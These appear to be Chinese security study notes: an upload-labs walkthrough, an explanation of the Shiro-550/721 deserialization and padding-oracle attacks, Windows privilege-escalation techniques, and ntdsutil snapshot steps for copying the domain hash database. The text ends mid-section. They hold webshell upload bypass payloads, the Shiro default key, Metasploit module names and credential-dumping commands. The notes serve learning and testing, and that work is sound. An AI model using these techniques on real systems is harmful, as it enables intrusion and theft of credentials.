思路:根据提示暂时没什么思路,但是通过对比源码可以发现这里没有对::$DATA进行过滤,NTFS文件系统包括对备用数据流的支持,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:DATA。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

我们上传shell.php::$DATA进行绕过

1686475626403

访问对应url得到回显

image-20230611172849423

Pass-09

tips:本pass只允许上传.jpg|.png|.gif后缀的文件!

思路:根据提示暂时没什么思路,但是通过对比源码可以发现这里只对后缀名进行了一次.的删除,于是考虑点空格点绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

传入shell.php. .

image-20230611173555738

访问对应url得到回显

image-20230611173640300

Pass-10

tips:本pass会从文件名中去除.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess字符!

思路:这里可能是做了字符串替换,所以考虑可能可以双写绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

传入shell.pphphp

image-20230611174151880

访问对应url发现回显

image-20230611174334995

Pass-11

tips:本pass上传路径可控!

思路:上传路径可控,但是我们不知道该如何利用,查看源码发现我们可以控制存储路径,由于是白名单而我们又必须解析为php文件,这里考虑使用%00截断,将%00后的.jpg截断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

将存储路径修改为../upload/shell.php%00.jpg,apache对%00后的字符不会进行解析,相当于我们将其保存为了php文件

image-20230611175346061

访问对应url发现回显

image-20230611175427420

Pass-12

tips:本pass上传路径可控!

思路:和上题利用方式类似,差别在于POST和GET的区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

首先写入截断语句../upload/shell.php[空格].jpg

image-20230611223740199

然后在Hex中将空格对应的hex值改为00造成%00截断

image-20230611223953204

访问对应url发现回显

image-20230611224147951

Pass-13

tips:本pass检查图标内容开头2个字节!

思路:只检查开头两个字节,那就改为对应的就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);

if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

传入一个png图片进行测试,后面跟着一句话木马

image-20230611230656513

然后根据文件包含漏洞查看是否被解析,可以看到回显了

image-20230611232900190

传入一个文件前两个字节为255216的图片马,我们将刚才的修改一下即可

1686497870585

然后根据文件包含漏洞查看是否被解析,可以看到回显了

image-20230611233905685

传入一个文件前两个字节为7173的图片马,我们将刚才的修改一下即可

image-20230611234220797

然后根据文件包含漏洞查看是否被解析,可以看到回显了

image-20230611234301359

Pass-14

tips:本pass使用getimagesize()检查是否为图片文件!

思路:getimagesize()检查的是文件头,例如GIF文件的GIF89A。这关还是老老实实做图片马,找三种图片将一句话马嵌入就可以了,不能像pass-13那样只改两个字节了,需要完整的文件头,其他的不赘述。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

Pass-15

tips:本pass使用exif_imagetype()检查是否为图片文件!

思路:exif_imagetype()读取一个图像的第一个字节并检查其签名,如果发现恰当的签名返回一个对应的常量,否则返回false,我们也是采用制作图片马的方式来绕过检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

Pass-16

tips:本pass重新渲染了图片!

思路:二次渲染是将我们上传的图片在服务器重新生成图片,由于我们的图片马本身就包含一句话木马,于是仍然可以通过文件包含加上图片马的形式进行解析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

Pass-17

tips:需要代码审计!

思路:需要通过条件竞争进行木马的访问,在服务器将php文件unlink删除之前他会对其进行move操作,所以会暂时存在于服务器上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

设置burpsuite反复向服务器发包

image-20230612001816065

设置payload为空

image-20230612001800407

发包情况

image-20230612001737497

在浏览器中反复刷新,发现可以访问到shell.php

image-20230612001709619

Pass-18

tips:需要代码审计!

思路:通过源码看到它同样存在条件竞争的利用,我们可以像之前那样通过短时间大量发包来实现访问临时文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}

//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}
......
......
......
};

Pass-19

本关卡需要Linux环境暂时不复现

Pass-20

tips:来源于CTF,请审计代码!

思路:通过查看源码可以发现$file_name经过reset($file) . '.' . $file[count($file) - 1];处理。

如果上传的是数组的话,会跳过$file = explode('.', strtolower($file));

并且后缀有白名单过滤:

1
2
$ext = end($file);
$allow_suffix = array('jpg','png','gif');

而最终的文件名后缀取的是$file[count($file) - 1],因此我们可以让$file为数组

$file[0]为shell.php/,也就是reset($file),然后再令$file[2]为白名单中的jpg。

此时end($file)等于jpg,$file[count($file) - 1]为空。

$file_name = reset($file) . '.' . $file[count($file) - 1];,也就是shell.php/.,最终move_uploaded_file会忽略掉/.,最终上传shell.php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

文件名传入save_name[0]=shell.php/ save_name[2]=jpg 数组

image-20230612102559598

访问对应url发现回显

image-20230612102649496

总结

重新刷了一遍uploadlabs靶场,巩固了文件上传的利用方式,这里引用靶场仓库的一张导图作为结尾。

上传漏洞分类

shiro组件相关漏洞

shiro漏洞原理介绍

参考链接

https://www.freebuf.com/articles/web/364631.html

https://xz.aliyun.com/t/8997

shiro-550

Apache Shiro框架提供了记住密码的功能,用户登录成功后会生成经过加密并编码的cookie,在服务端对rememberMe的Cookie值,先base64解码再AES解密再反序列化,就导致了反序列化RCE漏洞。

调用逻辑

示例代码来源于vulhub镜像源码

加密部分

  1. 首先运行代码,在Bean中查看shiroConfig中的调用逻辑,我们知道shiro的漏洞就存在于RememberMe功能中,我们跟进cookieRememberMeManager方法。

image-20230607160535229

  1. 可以看到这个方法返回的是一个CookieRemberMeManager对象,我们跟进CookieRememberMeManager类。

image-20230607161415291

  1. 可以看到CookieRememberMeManager方法在Http请求体中设置了字段名为rememberMe的Cookie,CookieRememberMeManager方法所在的CookieRememberMe类继承了AbstractRememberMeManager类,我们跟进AbstractRememberMeManager类。

image-20230607161639678

  1. 可以看到一个私有的默认base64编码加密密钥kPH+bIxk5D2deZiIxcaaaA==,那么这个密钥用来做什么呢,根据另一个私有成员cipherService猜测是AES加密密钥,接着向下看发现这个加密密钥被默认设置了,也就意味着每一次加密使用的都是同一个密钥,这会导致严重的安全问题。我们向下看明文和密文的来源和去向。

image-20230607162625262

  1. 可以看到encrypt方法中对一个序列化字节数组进行了加密,但这里我们无法找到这个序列化字节数组的详情,于是在这里下了一个方法断点,通过调试来回溯。

image-20230607165348048

  1. 返回上一帧,发现调用位置是在convertPrincipalsToBytes方法,我们看到principals其实是我们的用户名”admin”, 这里将用户名转换成了字节数组然后进行了加密,再继续返回上一帧看看。

image-20230607182503867

  1. 可以看到rememberIdentity对前端获取的token进行了处理,以principal对象形式传递给后续的加密步骤。

解密部分

  1. 类似加密部分的第5步,我们在AbstractRememberMeManager类声明中可以找到decrypt方法,它对加密数据进行了解密,返回 了一个序列化字节数组,这个字节数组内容大概率是一个principal对象(根据前面的调试猜测),在此设置方法断点进行调试。

image-20230607184706824

  1. 单步步过直到convertBytesToPrincipals方法,发现了反序列化的位置就在convertBytesToPrincipals方法中,将解密的字节数组进行反序列化。

image-20230607185040888

  1. 单步步入deserialize方法中,发现这里创建了一个字节数组输入流对象用来存储序列化的字节数组,再通过readObject方法进行反序列化,这也是反序列化漏洞触发的接口位置。

image-20230607200615343

修复手段

  1. 更新shiro组件版本
  2. 不使用默认的加密密钥,一次一密最稳妥

shiro-721

Apache Shiro cookie中通过AES-128-CB模式加密的rememberMe字段存在问题,用户通过Padding Oracle加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

shiro-721 的调用逻辑和shiro-550的方式非常类似,差别最大的就是AbstractRememberMeManager类中,AES密钥不再使用硬编码模式了,而是通过KeyGenerator进行了密钥生成,这也意味着我们难以获取密钥,无法直接破解这个AES加密系统,但是攻击者提出了另一种思路,即Padding Oracle Attack(填充提示攻击),可以实现无需加密密钥直接构造密文。

Padding Oracle Attack

参考链接:

https://ctf-wiki.org/crypto/blockcipher/mode/padding-oracle-attack/

利用该漏洞可以破解出密文的明文以及将明文加密成密文,该漏洞存在条件如下:

  1. 攻击者能够获取到密文(基于分组密码模式),以及IV向量(通常附带在密文前面,初始化向量)
  2. 攻击者能够修改密文触发解密过程,解密成功和解密失败存在差异性

加密算法:AES

工作模式:CBC

填充方式: PKCS5Padding

密钥长度: 128bit

image-20230607221514892

PKCS5Padding

将数据填充到8的倍数,填充数据计算公式是,假如原数据长度为len,利用该方法填充后的长度是 len + (8 - (len % 8)), 填充的数据长度为 8 - (len % 8),块大小固定为8字节,如果刚好长度满足8字节,则新增一个全为0x08的块。所有填充的值为需要填充的字节数,这种填充方式只有在填充字符为0x01-0x08之间才是合法的。

攻击思路

image-20230607233135913

根据CBC加密模式,解密时初始IV将与经过key解密的密文块异或得到明文块(后面我们称经过key解密的密文块为中间块),如果我们能够不获取key而直接获得中间块,那么我们就可以破解出明文。

由于PKCS5Padding的特性,每个填充块有这么几种可能:

  1. XXXXXXX 0x01
  2. XXXXXX 0x02 0x02
  3. XXXXX 0x03 0x03 0x03
  4. XXXX 0x04 0x04 0x04 0x04
  5. XXX 0x05 0x05 0x05 0x05 0x05
  6. XX 0x06 0x06 0x06 0x06 0x06 0x06
  7. X 0x07 0x07 0x07 0x07 0x07 0x07 0x07
  8. 0x08 0x08 0x08 0x08 0x08 0x08 0x08 0x08

当我们提交一个IV时,服务器会用中间值与它异或得值然后先校验填充情况而非直接比对明文。

此时服务器会返回两种情况:正确的密文返回200或者302;错误的密文返回500。

  1. 假定明文最后一位填充为0x01,那么我们可以暴力枚举IV最后一个字节,若服务器响应200,则对应的中间块字节为该IV一个字节异或0x01。
  2. 假定明文最后两位填充为0x02,那么我们的IV最后一个字节固定为上次计算出的中间块字节异或0x02,暴力枚举IV倒数第二个字节,若服务器响应200,则对应的中间块字节为该IV倒数第二个字节异或0x02。

按照上述的攻击方式可以逐步推导出整个中间块,从而计算出第一个明文块,用同样的方式可以直接计算出所有明文。

修复手段

  • 更新shiro组件版本
  • 由于Padding Oracle Attack需要通过服务器响应进行判断,我们可以对服务器流量进行限制,将短时间多次访问的IP进行限制

shiro识别与漏洞发现

环境安装

使用docker一键部署

image-20230525203247649

shiro漏洞发现

记住密码功能

返回包set cookie位置显示字段rememberMe=XXX

如果返回包没有,在请求包的cookie中加上rememberMe字段,如果返回包里返回了,则使用了shiro

shiro漏洞检测

使用shiroscan工具进行检测

image-20230525215041885

在DNSLog上查看回显,可是太卡了没办法看到。

获取shell

使用python脚本进行将获取的shell反弹到vps上

image-20230526152826228

查看vps的情况,发现反弹了shell

image-20230526153031190

总结

不管是shiro-550还是shiro-721,导致反序列化接口暴露的原因都是不安全的加密方式,一个是直接使用了硬编码模式,将默认密钥写入了源码中,一个能够根据工作模式和填充方式组合的缺陷绕过获取密钥直接暴力破解出明文。

权限提升

提权概述

提权,网络术语,提高自己在服务器中的权限,主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升WEBSHELL权限以夺得该服务器权限。

Windows:user –> administrator

Linux:user –> root

提权条件

  • 拥有webshell、普通用户权限
  • 拥有某些软件的账号密码
  • 本地或远程服务器上存在漏洞
  • 拥有漏洞利用工具代码

操作系统内核漏洞提权

介绍

利用window系统中没有打补丁的内核溢出漏洞进行攻击。

1.查看当前用户权限

1
whoami /groups

2.查看系统安全补丁

1
2
systeminfo
wmic qfe get Caption,Description,HotFixiD,InstalledOn

3.与可以进行提权的内核溢出漏洞exp进行对比

https://github.com/SecWiki/windows-kernel-exploits

4.执行EXP

实战演练

  1. 利用其它漏洞获取一个shell,查看权限为普通用户
1
meterpreter > getuid

image-20230606000405740

1
2
meterpreter > shell
whoami /groups

image-20230606093932292

  1. 使用post/multi/recon/local_exploit_suggester进行提权漏洞检测

image-20230605212101590

  1. 我们可以选择一个漏洞进行利用例如MS_2018_8120进行利用

image-20230605235454327

  1. 配置好参数后run,查看系统当前权限为SYSTEM权限

image-20230606000113453

image-20230606100012402

Windows操作系统配置错误提权

系统服务配置错误提权

介绍

Windwos系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。如果一个低权限的用户对这类系统服务的可执行文件具有写权限,就可以将其替换成任意可执行文件,并随着系统服务的启动获得系统权限。

系统服务权限配置错误有两种可能:

  • 服务未运行,攻击者会使用任意服务替换原来的服务,然后重启服务
  • 服务正在运行且无法终止,这种情况适用于绝大多数漏洞利用场景,攻击者通常会利用DLL劫持技术并尝试和重启服务来提权

实战演练

  1. 首先获取了一个shell,具有普通用户权限

image-20230606101907522

image-20230606101939033

  1. 利用exploit/windows/local/service_permissions模块进行检查,选择AGGRESSIVE选项,可以利用目标机器每一个有缺陷的服务。

image-20230606103053027

可信任服务路径漏洞

介绍

Windows服务通常是以System权限运行的,所以系统在解析服务所对应的文件路径中的空格会以系统权限运行。

例如:有个文件路径”C:\Program Files\Some Folder\Service.exe”

则对于每一个空格,Windows都会尝试寻找并执行与空格前面名字相匹配的程序,操作系统会对你路径中空格的所有可能情况进行尝试,直到一个能匹配的程序。

  • C:\Program.exe
  • C:\Progarm Files\Some.exe

如果一个按上述规则命名的可执行程序上传到受影响的目录中,那么服务一旦重启,则会以System权限运行。

漏洞利用可能的情况:

  • 如果该路径与服务相关,就会任意创建一个服务或者Service模板
  • 如果路径与可执行文件有关,就任意创建一个可执行文件

注册表键AlwaysInstallElevated

介绍

注册表键AlwaysInstallElevated是一个策略设置项,如果启用了,任何权限的用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI文件。

image-20230606105441626

组策略首选项提权

介绍

管理员在域中新建组策略后,操作系统会自动在SYSVOL共享目录中生成一个XML文件,该文件保存了该组策略更新后的密码,使用AES-256加密。但是微软在2012年公布了AES-256的私钥,导致保存在XML文件中的密码可以被解密。在SYSVOL中可以找到包含cpassword的XML文件

绕过UAC提权

介绍

在权限不够的情况下,访问系统盘的根目录,Windows目录、Program Files目录,以及读写系统登录数据库等操作都要进行UAC的认证才能进行。

实战演练

  1. 首先获取一个shell,权限是普通用户权限,但是该用户必须在管理员组中,并且设置UAC为仅在程序试图更改我的计算机时通知我。

image-20230606112846262

  1. 接着使用exploit/windows/local/bypassuac模块,配置好选项后运行发现成功绕过,获取SYSTEM权限

image-20230606113413798

image-20230606113254419

令牌窃取提权

介绍

这个提权方式是针对Kerberos协议,通过入侵服务器,在客户端登录时窃取客户端的令牌,从而获取其权限。但前提是需要获取SYSTEM权限的令牌。

总结

本篇文章总结了常见的Windows提权方式。

域内密码凭证获取

Volume Shadow Copy

活动目录数据库

ntds.dit:活动目录数据库,包括有关域用户、组和组成员身份的信息。它还包括域中所有用户的密码哈希值。

为了保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。因此想要破解sam文件与ntds.dit文件都需要拥有一个system文件。

AD DS数据存储:

  • 由ntds.dit文件构成
  • 默认存储在所有域控制器上的%SystemRoot%\NTDS文件夹中
  • 只能通过域控制器进程和协议访问
  • 由于Windows阻止对这些文件的标准读取或复制操作,因此必须使用特殊技术来获取副本。

Volume Shadow Copy

Volume Shadow Copy Service是微软从Windows XP开始提供的用于创建一致性的时间点副本的服务框架。

  • 用于数据备份
  • 支持WindowsServer2003及以上操作系统
  • 系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份无法确定
  • 禁用VSS会影响系统正常使用,如System Restore和Windows Server Backup

Ntdsutil

Ntdsutil.exe:一个为AD提供管理设施的命令行工具,域环境默认安装

交互式操作

image-20230601195112234

1
2
3
4
5
6
7
8
9
ntdsutil 进入交互界面
snapshot 创建快照
activate instance ntds 创建实例
create 创建快照
返回了一串快照集guid
mount [guid] 装载到C盘
unmount [guid] 卸载快照
del [guid] 删除快照
quit

image-20230601195335841

效果上看是创建了一个 C盘的快照,但是却发现原本无法复制的存放Hash的文件可以复制和打开了

image-20230601195703368

非交互式操作

查询当前系统的快照

1
2
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

创建快照

1
ntdsutil snapshot "activate instance ntds" create quit quit

挂载快照

1
ntdsutil snapshot  "mounted [guid]" quit quit

卸载快照

1
ntdsutil snapshot  "unmounted [guid]" quit quit

删除快照

1
